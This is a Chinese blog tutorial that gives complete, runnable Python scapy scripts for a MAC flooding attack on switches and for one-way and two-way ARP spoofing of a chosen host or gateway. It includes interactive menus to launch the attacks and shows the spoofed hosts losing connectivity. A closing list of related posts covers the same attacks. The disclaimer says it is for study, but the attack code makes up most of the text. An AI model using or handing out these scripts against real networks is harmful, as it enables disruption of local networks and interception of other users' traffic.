声明:本文章的一切内容仅用于交流与学习

目录

一、Python scapy

二、MAC泛洪

三、ARP欺骗


一、Python scapy

scapy提供了构造、发送、接收、分析数据包的功能

scapy的内容很多这里只说明要用到的内容

RandMAC:自动生成一个随机的MAC地址

packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

Ether是指定MAC地址用的,IP是第三层指定IP

sendp 发送二层报文

send 发送三层报文

基本上这些就够用了

二、MAC泛洪

很早很早之前写过用macof工具来实现MAC泛洪,现在要自己写一个!

MAC泛洪原理前面也写过,如果不清楚可以去看——》传送门

MAC泛洪的实质其实就是发送一堆随机的MAC地址,从而占满交换机的MAC地址表,但是发IPV4的报文还是需要指定IP的

所以第一步就是构造一组假的源目IP 源目MAC地址

构造MAC地址非常容易只需要使用RandMAC就可以生成

构造IP,需要写一个小函数

def randIP():ip=""for i in range(3):ip=ip+str(random.randint(0,255))+"."ip=ip+str(random.randint(0,255))return ip

分析一下,其实就是先循环三遍每一遍向字符串中添加一个0-255的数和一个点,如192.

最后再加一个数,构成一个完整的ip格式

有了这两个函数以后,就可以构造数据包了

MAC1=RandMAC("*:*:*:*:*:*")
MAC2 = RandMAC("*:*:*:*:*:*")
IP1=randIP()
IP2=randIP()
packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

源目MAC地址 源目IP 默认为IPV4报文

接下来就是发送,因为scapy发送有一个小瑕疵,就是每次都输出一个发送成功,影响美观,于是做点小改动

 oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')sendp(packet, iface=iface, loop=0)sys.stdout = oldPrintprint(f"{MAC1}---------->{MAC2}   /IP  {IP1}---------->{IP2}")

这样就可以自定义输出格式了

到这里MAC泛洪的一个数据包就构造发送好啦,剩下的就是循环了

这里说一下sendp 有一个参数iface是用来指定网卡的,可以加进去,动态选择网卡

把上面的内容封装了一下,输入处理了一下

完整代码

from scapy.all import *
from scapy.layers.inet import *
import random
def randIP():ip=""for i in range(3):ip=ip+str(random.randint(0,255))+"."ip=ip+str(random.randint(0,255))return ip
iface='eth0'
def gj():MAC1=RandMAC("*:*:*:*:*:*")MAC2 = RandMAC("*:*:*:*:*:*")IP1=randIP()IP2=randIP()packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')sendp(packet, iface=iface, loop=0)sys.stdout = oldPrintprint(f"{MAC1}---------->{MAC2}   /IP  {IP1}---------->{IP2}")
def ts():global ifacea=int(input(f"当前网卡为{iface},【1】更改网卡,【2】发起攻击,【3】指定攻击次数,【0】退出\n"))if a==1:iface=input("请输入网卡名\n")ts()returnelif a==2:while True:gj()elif a==3:b=int(input("输入攻击次数\n"))print("攻击开始....")for i in range(b):gj()elif a==0:return
print("*" * 25 + "MAC泛洪攻击" + "*" * 25)
ts()

运行效果

三、ARP欺骗

arp欺骗原理——》传送门

arp欺骗其实更简单,明白原理代码反而好写

完整代码,相信各位大佬都能看懂,看不懂直接留言或私信都可

from scapy.all import *
from scapy.layers.inet import *
from scapy.layers.l2 import ARP
import timedef get_mac_address():import uuidnode = uuid.getnode()mac = uuid.UUID(int = node).hex[-12:]MAC = ":".join([mac[e:e + 2] for e in range(0, 11, 2)])return MAC
print(get_mac_address())
def dx(IP1,IP2):a=get_mac_address()pkt=ARP(psrc=IP1,hwsrc=a,pdst=IP2,op=2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')send(pkt)sys.stdout = oldPrintprint(f"{a} : 告诉{IP2},{IP1} 的MAC地址是{a}")
def fx(IP1,IP2):a = get_mac_address()pkt = ARP(psrc=IP2, hwsrc=a, pdst=IP1, op=2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')send(pkt,iface="eth0")sys.stdout = oldPrintprint(f"{a} : 告诉{IP1},{IP2} 的MAC地址是{a}")print("*"*25+"ARP欺骗"+"*"*25)
a=int(input("【1】单向欺骗【2】双向欺骗【0】退出\n"))
if a==1:IP1=input("请输入要攻击的主机IP\n")IP2 = input("请输被欺骗的主机IP/网关\n")while True:dx(IP1,IP2)time.sleep(1)
elif a==2:IP1 = input("请输入IP1\n")IP2 = input("请输入IP2\n")while True:dx(IP1,IP2)fx(IP1,IP2)time.sleep(1)
else:exit(0)

运行效果

因为是单向欺骗,所以PC1 ping PC2 可以通, PC2 ping PC1 通不了

接下来就是双向欺骗

 

都不通啦

python 实现MAC泛洪与ARP欺骗相关推荐

  1. python实现局域网攻击_mac泛洪攻击arp欺骗(python脚本)

    mac地址泛洪攻击 原理:传统的交换机在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关的目的MAC对应的条目,此数据帧将作为广播帧来处理,CAM表的容量有限,只能 ...

  2. python arpspoof_使用arpspoof实现ARP欺骗,配合mitmproxy进行局域网嗅探抓包

    把PC和iPhone链接到同一个路由器上 攻击者和受害者需要在同一局域网内 1.查看发起攻击者的网卡和IP地址: $ifconfig eno1: flags=4163 mtu 1500 inet 19 ...

  3. python+scapy实现ARP欺骗

    python+scapy实现ARP欺骗 需要下载的库 ARP欺骗原理 源代码: 运行结果 需要下载的库 可以直接通过pip下载 pip install scapy ARP欺骗原理 设网关的IP为10. ...

  4. 网络攻防实验——MAC泛洪攻击、ARP DOS、ARP中间人

    网络攻防实验--MAC泛洪攻击.ARP DOS.ARP MiddleMan 合肥工业大学 网络攻防实验 项目二实验报告 项目二 一.搭建实验环境 1.实验要求: 利用VMware的NAT模式或Host ...

  5. ARP欺骗数据帧转发之MAC修改

    一.基础知识 1.交换机工作(数据链路层) 记住,交换机工作在数据链路层,也就是交换机根本只在乎数据帧的源mac和目的mac,而根本不关注数据帧的源ip和目的ip,或者说交换机根本查看不到数据帧的源i ...

  6. ARP是什么?+ARP欺骗 MAC为ff:ff:ff:ff:ff:ff是什么意思

    ARP 我们知道,当我们在浏览器里面输入网址时,DNS服务器会自动把它解析为baiIP地址,浏览器实际上查找的是IP地址而不是网址.那么IP地址是如何转换为第二层物理地址(即MAC地址)的呢?在局域网 ...

  7. 【网络攻击手段之-----ARP欺骗】

    网络攻击手段之-----ARP欺骗 前言 什么是ARP欺骗 APR欺骗的原理 ARP欺骗的实现 ARP欺骗后可以选择进一步攻击 ARP欺骗的模拟实验 Python语言 C语言 ARP欺骗的防御 前言 ...

  8. ARP欺骗:先认识再防御

    摘要:近年来,随着信息技术的不断发展,网络已深入到人们的日常生活工作中.由于局域网具有网络资源共享.易统一管理等诸多优点,因此得到了越来越多的重视和普及. 近年来,随着信息技术的不断发展,网络已深入到 ...

  9. 慎防ARP欺骗与网络嗅探(下篇)

    慎防ARP欺骗与网络嗅探(下篇) 步小羽 2007年04月06日 天下·网吧联盟 在上篇我们见识了嗅探器工具应用的实例,面对这种入门级黑客都能轻易掌握但是难以防范的入侵,作为网管应当如何应对呢?事实上 ...

最新文章

  1. Web应用漏洞评估工具Paros
  2. python3 判断字符串是否包含指定字符
  3. Spring3 RESTful Web服务
  4. 浙江经济职业技术学院计算机排名,浙江经济职业技术学院排名第几
  5. 3种思路,快速打破制造业质量追溯困境,成为行业领先企业
  6. docker swarm
  7. Linux环境下源码编译方式安装MySQL5.1(1)
  8. Anylogic 仿真建模(一)
  9. sel - performSelector - NSSelectorFromString()
  10. 简单聊一下const
  11. 线程的sleep()方法和yield()方法有什么区别?
  12. matlab在二值图像上画曲线_数字图像处理:Image Printing Program Based on Halftoning
  13. MySQL入门(详细总结)
  14. Vulnerable Javascript library
  15. Linux多线程编程
  16. 复原 IP 地址(回溯)
  17. 本科生计算机论文中文核心,本科计算机想投中文核心,求推荐刊物!
  18. html 弹窗实现拖拽,原生js实现自由拖拽弹窗代码demo
  19. matlab 椭圆参数传递,用MATLAB绘图已知椭圆参数方程
  20. heapdump file must have .hprof extention

热门文章

  1. CTF-RSA共模攻击
  2. 三个并排居中html,css如何让三个DIV并列在一行中
  3. Latex图片横排和竖排,并在图片下方和左方添加子标题
  4. 重学前端,万字入门 HTML+CSS+响应式网页设计
  5. 【交叉编译】什么是交叉编译,为何要有交叉编译?
  6. 【每天学点管理】——强化理论
  7. 导航栏设计---兮夜老师
  8. MySQL中, 如何查询某一天, 某一月, 某一年的数据.
  9. 【MES】ABB官方49张PPT教你玩转MES!
  10. 特效loading图以备不时之需